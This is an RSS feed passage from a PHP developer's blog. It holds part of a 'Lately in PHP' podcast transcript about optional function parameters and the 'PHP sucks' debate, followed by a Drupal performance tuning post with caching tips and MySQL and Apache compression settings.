&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;This is an interesting feature of PHP which probably makes it more flexible than other languages that do not have this thing, which is the optional values in the parameters, because this allows, for instance, if you want to evolve your code and now you want a certain function to have a new parameter you can add that parameter and assume the defaults so old code that used to call the version with less arguments would still work.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And the idea of this proposal I think it was from Stas Malyshev, whom is one of the maintainers of PHP 5.4, although this proposal does not seem to be related, is the possibility if you have several optional arguments, parameters to a function, in the call you can skip some of the middle optional parameters and only specify one or more of the last parameters.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And I can see certain cases in which this would probably be interesting because it would allow you to change the default values on some of those key parameters. &amp;nbsp;And it seems the proposal got some acceptance and probably will be implemented in a future PHP release, well, we'll see. Personally I find it interesting.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Ernani, during your so-called day job you work more with Java, I suppose Java does not have optional parameters in functions, right?&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;No, no, no, you have to specify them all. &amp;nbsp;But in ActionScript you can specify some fields with a predefined value such as null, and if it's not passed then it takes the default, but Java doesn't.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Well, for me it's very interesting, and I think it's one of the advantages that is rarely discussed, which is the possibility of those optional parameters.&lt;/p&gt;
&lt;h3 style=&quot;margin: 10px 0px; padding: 10px 0px; text-align: left; color: rgb(51, 51, 51); text-transform: none; line-height: normal; text-indent: 0px; letter-spacing: normal; font-family: arial, helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; word-spacing: 0px; border-bottom-color: rgb(204, 204, 204); border-bottom-width: 3px; border-bottom-style: dotted; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&amp;quot;PHP Sucks but it still doesn't matter&amp;quot; (19:23)&lt;/h3&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Okay, but moving on with our podcast, we are going to talk a bit about yet another discussion against PHP, there is this article with the title &amp;quot;PHP, A fractal of a Bad Design&amp;quot;, which goes through an extensive list of I would say inconsistencies or things that you can say that in PHP are a result of something that was not well designed in PHP as a language.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And I think this discussion that showed up a lot in many sites, I think in the HackerNews forums it was discussed a lot, and when I found this article basically it was a tweet by Jeff Atwood, one of the founders of the StackOverflow site, and he is well known by his alias @codinghorror, and he has a lot of articles related with programming for which he has a lot of followers.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And I found a tweet by him that basically says that &amp;quot;PHP sucks but it still doesn't matter&amp;quot;. Well, he says it still doesn't matter because in 2008 he already wrote an article precisely with that title in which he was commenting that despite all the problems that PHP has, PHP is a very popular language no matter what.&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;So from what I understood basically he was saying that it's sort of pointless to complain about PHP because that does not affect PHP popularity.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;In my opinion PHP popularity came from the fact that it was a language created for creating web applications, and since the Web got very popular PHP also got very popular.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Other languages followed to provide better support for web programming, but they came out later. And other than that several killer PHP applications may be so popular that it's going to be impossible for any other language to defeat in the web field. I am thinking about, for instance, WordPress and others, other applications written in PHP that make PHP like a plague, you can't get rid of it.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And this is very interesting because although we PHP developers already know very well those deficiencies of PHP, we don't bother because we all got used to those deficiencies, so it doesn't matter for us if somebody claims with a well thought article with all the arguments against PHP because it won't change our minds, we work with PHP, we make money with PHP, and although we reckon that other languages are probably better designed, it will hardly make a difference for us.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And that was one point, another point is that all these articles that PHP sucks and PHP should be banned, or whatever are their intentions...&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yeah, I guess this goes with the maturity level of the writer.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Well, it's not just that, I think all these people that complain about PHP have an agenda to promote some other language.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yeah, oh, sure. &amp;nbsp;And it's sort of a maturity thing as well because you see some analogies that they compare Yoda with etcetera, and then you see the drill, but it's not just that Yoda is something immature, but I'm bringing the funny part here, which it's like in order to be somebody you have to be a Jedi, and this is not a Jedi thing, and then you see the drill, you see the whole dilemma about who came in first, the egg or the chicken, and they go around and then you don't see much of a well concise frustration about it.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;I mean, okay, there are better languages, but if you have to do it with a small footprint and you don't have RAM enough within your server to host a website and you need to have a blogging system write off the hand, or you need a forum, I've seen lots of other Java community sites which use PHPBB as their bulletin board.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Right.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;So the point is there is no point in complaining about specific language otherwise there wouldn't be different languages, it's like complaining because you don't like to speak English or you don't like to speak Portuguese, and you never speak anything else, but it's ugly, and it goes nowhere, it's another language, so if you need to communicate with a team that only speaks French you will have to learn French or they would have to understand your English.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;But, well, what I think is that those people that are complaining for some reason they had to face a job on which they are mandated by their bosses, or whoever, to use PHP and shut up, and that's probably annoying them so much.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Oh, I see. &amp;nbsp;So they hope that writing these high-impact articles, well described with all the arguments against PHP, they hope that somebody sees the light and stops using PHP.&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yeah, but it's like you working in Brazil and you don't like Portuguese-brazilian because you're from Portugal, and you complain because everybody here speaks Brazilian Portuguese, it doesn't make any sense, I mean you're in Brazil so you have to speak Brazilian Portuguese.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Right. &amp;nbsp;In Rome you have to be Roman.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yeah. &amp;nbsp;And try to go to a certain country where they are very nationalistic about their rules, we all know that France has a very strict language rule, and it's very hard sometimes to get something out of them by just throwing out English because people are traditional, so they prefer to keep their patriotism.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Well, in their country they are entitled to demand that everybody speaks their language, but if they are tolerant and if they are friendly they should somehow allow the fact is that not everybody knows French or had the opportunity to learn French.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yeah. &amp;nbsp;Although if you go to France you should somehow learn the basics.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphan</description>
								         <pubDate>Mon, 07 May 2012 21:56:40 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/55/Will-it-ever-Matter-if-PHP-Sucks?---Lately-in-PHP-podcast-episode-23---PHP-Classes-blog-:-PHP-Expert-India</guid>
								      </item>								      <item>
								         <title>Tips to increase your drupal website website performance!!!</title>
								         <link>http://www.nileshpawar.com/54/Tips-to-increase-your-drupal-website-website-performance!!!</link>
								         <description>&lt;div style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;line-height: 115%; font-size: 16pt;&quot;&gt;Things we need to increase performance-&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;line-height: 115%; font-size: 12pt;&quot;&gt;1&amp;gt;Things which can be done in Drupal admin settings section:-&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(87, 88, 88); line-height: 115%; font-size: 10pt;&quot;&gt;&amp;nbsp; - Enable Caching&lt;br /&gt;
&amp;nbsp; - Enable CSS Compression and Aggregation (&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102); line-height: 115%; font-size: 10pt;&quot;&gt;Log in to your Drupal admin area and go to&amp;nbsp;&lt;strong&gt;Site Configuration &amp;gt; Performance&lt;/strong&gt;. Besides enabling cache, you should also enable&amp;nbsp;&lt;strong&gt;Page compression&lt;/strong&gt;,&amp;nbsp;&lt;strong&gt;Optimize CSS files&lt;/strong&gt;&amp;nbsp;and&amp;nbsp;&lt;strong&gt;Optimize JavaScript files&lt;/strong&gt;.&lt;/span&gt;&lt;span style=&quot;color: rgb(87, 88, 88); line-height: 115%; font-size: 10pt;&quot;&gt;)&lt;br /&gt;
&amp;nbsp; - Go to MySQL and Enable Query cache in MySql&lt;br /&gt;
&amp;nbsp; - Go to PHP and Add a PHP OpCode Cache (APC)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(102, 102, 102); line-height: 115%; font-size: 10pt;&quot;&gt;Disable/remove all modules/blocks you are not using.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;&lt;span style=&quot;color: rgb(87, 88, 88);&quot;&gt;Anonymous User caching&lt;/span&gt;&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&lt;span style=&quot;color: rgb(87, 88, 88); font-size: 10pt;&quot;&gt;&amp;nbsp; - Set up a Reverse Proxy Cache (this keeps pages in memory and serves anonymous visitors cache page through RAM instead of dynamically via the database).&amp;nbsp;For Pressflow 6 &amp;amp; Drupal 6 sites, set up the Reverse Proxy Cache using VARNISH (&lt;/span&gt;&lt;a href=&quot;http://varnish-cache.org/&quot;&gt;&lt;span style=&quot;color: rgb(32, 80, 167); font-size: 10pt; text-decoration: none; text-underline: none;&quot;&gt;http://varnish-cache.org&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: rgb(87, 88, 88); font-size: 10pt;&quot;&gt;). However, for a Drupal 5 site, it's harder to setup a Reverse Proxy Cache, so instead of Varnish, We instead recommend using the Boost module (&lt;/span&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://drupal.org/project/boost&quot;&gt;&lt;span style=&quot;color: rgb(32, 80, 167); font-size: 10pt; text-decoration: none; text-underline: none;&quot;&gt;http://drupal.org/project/boost&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: rgb(87, 88, 88); font-size: 10pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;color: rgb(87, 88, 88); font-size: 10pt;&quot;&gt;A good cache lifetime is 5 minutes, or 12 times an hour.&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;&lt;span style=&quot;color: rgb(87, 88, 88);&quot;&gt;Authenticated User caching&lt;/span&gt;&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&lt;span style=&quot;color: rgb(87, 88, 88); font-size: 10pt;&quot;&gt;Use Memcache (&lt;/span&gt;&lt;a href=&quot;http://drupal.org/project/memcache&quot;&gt;&lt;span style=&quot;color: rgb(32, 80, 167); font-size: 10pt; text-decoration: none; text-underline: none;&quot;&gt;http://drupal.org/project/memcache&lt;/span&gt;&lt;/a&gt;&amp;nbsp;&lt;span style=&quot;color: rgb(87, 88, 88); font-size: 10pt;&quot;&gt;and&lt;/span&gt;&lt;a href=&quot;http://drupal.org/project/memcache&quot;&gt;&amp;nbsp;&lt;span style=&quot;color: rgb(32, 80, 167); font-size: 10pt; text-decoration: none; text-underline: none;&quot;&gt;http://memcached.org&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: rgb(87, 88, 88); font-size: 10pt;&quot;&gt;) along with Pathcache (&lt;/span&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://drupal.org/project/pathcache&quot;&gt;&lt;span style=&quot;color: rgb(32, 80, 167); font-size: 10pt; text-decoration: none; text-underline: none;&quot;&gt;http://drupal.org/project/pathcache&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: rgb(87, 88, 88); font-size: 10pt;&quot;&gt;) for&amp;nbsp;drupal lookup path queries.&lt;br /&gt;
This puts most authenticated user queries into memory (RAM)&lt;/span&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;color: red; font-size: 10pt;&quot;&gt;We should have at least 2 Servers (if possible)&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&lt;span style=&quot;color: red; font-size: 10pt;&quot;&gt;Best practice for scaling is to have at least 2 servers; one dedicated server for content, and a seperate server just for the Database. Then optimize each server for its specific task. Ideally, both are powerful servers, but if you have to choose, give the Database more resources.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&lt;strong&gt;&lt;u&gt;MySQL Tuning&lt;/u&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;background: rgb(254, 254, 254); margin: 0in 0in 0pt; text-align: justify; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;The recommended settings in the&amp;nbsp;&lt;strong&gt;&lt;em&gt;/etc/my.cnf&lt;/em&gt;&lt;/strong&gt;&amp;nbsp;file for a Drupal-based website are:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: rgb(254, 254, 254); margin: 0in 0in 0pt; text-align: justify; line-height: normal;&quot;&gt;&lt;em&gt;&lt;span style=&quot;color: rgb(102, 102, 102); font-size: 10pt;&quot;&gt;max_connections = 800&lt;br /&gt;
max_user_connections = 800&lt;br /&gt;
key_buffer = 36M&lt;br /&gt;
myisam_sort_buffer_size = 64M&lt;br /&gt;
join_buffer_size = 2M&lt;br /&gt;
read_buffer_size = 2M&lt;br /&gt;
sort_buffer_size = 3M&lt;br /&gt;
table_cache = 1024&lt;br /&gt;
thread_cache_size = 286&lt;br /&gt;
interactive_timeout = 25&lt;br /&gt;
wait_timeout = 1800&lt;br /&gt;
connect_timeout = 10&lt;br /&gt;
max_allowed_packet = 1M&lt;br /&gt;
max_connect_errors = 999999&lt;br /&gt;
query_cache_limit = 1M&lt;br /&gt;
query_cache_size = 16M&lt;br /&gt;
query_cache_type = 1&lt;br /&gt;
tmp_table_size = 16M&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in;&quot;&gt;&lt;strong&gt;&lt;u&gt;Apache Server ( Enabling Compression ):-&lt;/u&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;Location /&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Insert filter&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;SetOutputFilter DEFLATE&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Netscape 4.x has some problems...&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;BrowserMatch ^Mozilla/4 gzip-only-text/html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Netscape 4.06-4.08 have some more problems&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;BrowserMatch ^Mozilla/4\.0[678] no-gzip&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# MSIE masquerades as Netscape, but it is fine&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;BrowserMatch \bMSIE !no-gzip !gzip-only-text/html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Don't compress images&lt;/span&gt;&lt;/div&gt;
